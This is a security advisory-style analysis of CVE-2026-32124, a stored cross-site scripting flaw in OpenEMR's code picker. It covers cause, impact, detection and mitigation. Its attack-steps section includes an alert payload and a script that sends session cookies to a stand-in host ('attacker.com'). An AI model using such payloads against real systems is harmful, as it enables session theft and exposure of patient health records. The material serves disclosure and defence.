CVE-2026-32124: 
OpenEMR vulnerability analysis and mitigation

CVE-2026-32124 is a stored cross-site scripting (XSS) vulnerability in OpenEMR, a free and open-source electronic health records and medical practice management application. Prior to version 8.0.0.1, the dynamic code picker AJAX endpoint returns code descriptions (code_text) that are rendered in the front end (e.g., DataTables) without HTML escaping, allowing a malicious script embedded in a code description to execute in the browser of any user who opens the picker. All versions of OpenEMR before 8.0.0.1 are affected. The vulnerability was published on March 11, 2026, and carries a CVSS v3.1 base score of 5.4 (Medium) (GitHub Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The vulnerable file is interface/patient_file/encounter/find_code_dynamic_ajax.php, which returns raw code_text values in JSON responses (lines 341, 346). The client-side code in find_code_dynamic.php and select_codes.php uses DataTables 1.10, which renders cell content via innerHTML without HTML encoding, causing any script tags or event handlers embedded in code_text to execute as JavaScript in the victim's browser. Exploitation requires an authenticated user with code management rights (e.g., admin or code list manager) to inject a malicious payload into a code description, and a second user to subsequently open the affected code picker — a classic stored XSS pattern (GitHub Advisory).

Successful exploitation allows the attacker to execute arbitrary JavaScript in the browser context of any OpenEMR user who opens the dynamic code picker, including high-privilege users such as administrators and clinicians. This can result in session token theft, unauthorized actions performed on behalf of victims (e.g., modifying patient records), and redirection to malicious sites. The impact is particularly severe when the victim is a privileged user, as it could enable full session takeover of administrators or clinicians with access to sensitive patient health information (GitHub Advisory).

A proof-of-concept (PoC) exploit with step-by-step reproduction instructions — including the specific payload <img src=x onerror="alert(document.domain)"> — is publicly available in the GitHub Security Advisory (GitHub Advisory). There is no current evidence of in-the-wild exploitation. The EPSS score is approximately 0.029% (0.000290), indicating a low but non-zero probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog as of the time of this report.

1. Reconnaissance: Identify an OpenEMR instance running a version prior to 8.0.0.1. Confirm the presence of the dynamic code picker feature used in patient encounter forms.
2. Authenticate as privileged user: Log in as an administrator or any user with code management rights (e.g., code list manager).
3. Inject malicious payload: Navigate to the code management interface and create or edit a code entry. Set the code description (code_text) to a malicious payload such as <img src=x onerror="alert(document.domain)"> or a script that exfiltrates session cookies (e.g., <script>fetch('https://attacker.com/?c='+document.cookie)</script>).
4. Wait for victim interaction: When another user (e.g., a clinician) opens a form or screen that uses the dynamic code picker for the affected code set, the picker loads and DataTables renders the malicious code_text via innerHTML.
5. Script executes in victim's browser: The injected script runs in the context of the victim's OpenEMR session, enabling session token theft, unauthorized actions, or further exploitation (GitHub Advisory).

• Logs: OpenEMR access logs showing unusual POST or GET requests to find_code_dynamic_ajax.php with abnormal or encoded code_text values; audit logs recording code creation or modification by non-standard users or at unusual times.
• File System: No direct file-system artifacts expected for this XSS; however, review code database entries for descriptions containing HTML tags such as <script>, <img>, onerror=, or javascript: URI schemes.
• Network: Outbound HTTP requests from client browsers to unexpected external domains immediately after interacting with the code picker (indicative of cookie/session exfiltration); unusual DNS lookups from clinical workstations following picker usage.
• Application: Unexpected session activity (e.g., actions performed under a user's session from a different IP or at an unusual time) following use of the dynamic code picker (GitHub Advisory).

The vulnerability is fixed in OpenEMR version 8.0.0.1; all users should upgrade immediately. As interim mitigations, restrict code management rights to the minimum number of trusted administrators, and monitor code creation and modification activities for suspicious entries containing HTML or script content. Implementing a strict Content Security Policy (CSP) header can limit the impact of XSS by restricting script execution sources. On the server side, ensure code_text values are HTML-encoded before being included in JSON responses; on the client side, use safe DOM methods (e.g., textContent) instead of innerHTML when rendering code descriptions (GitHub Advisory).

A blog post from Infinit Security covered the vulnerability shortly after disclosure, and Aisle published a broader report noting the discovery of 38 critical security vulnerabilities in healthcare software used by 100,000 providers, which included this CVE (Infinit Security, Aisle Blog). The vulnerability was also tracked by VulDB and ENISA's EUVD database. No significant vendor statements beyond the GitHub advisory or notable social media controversy have been identified.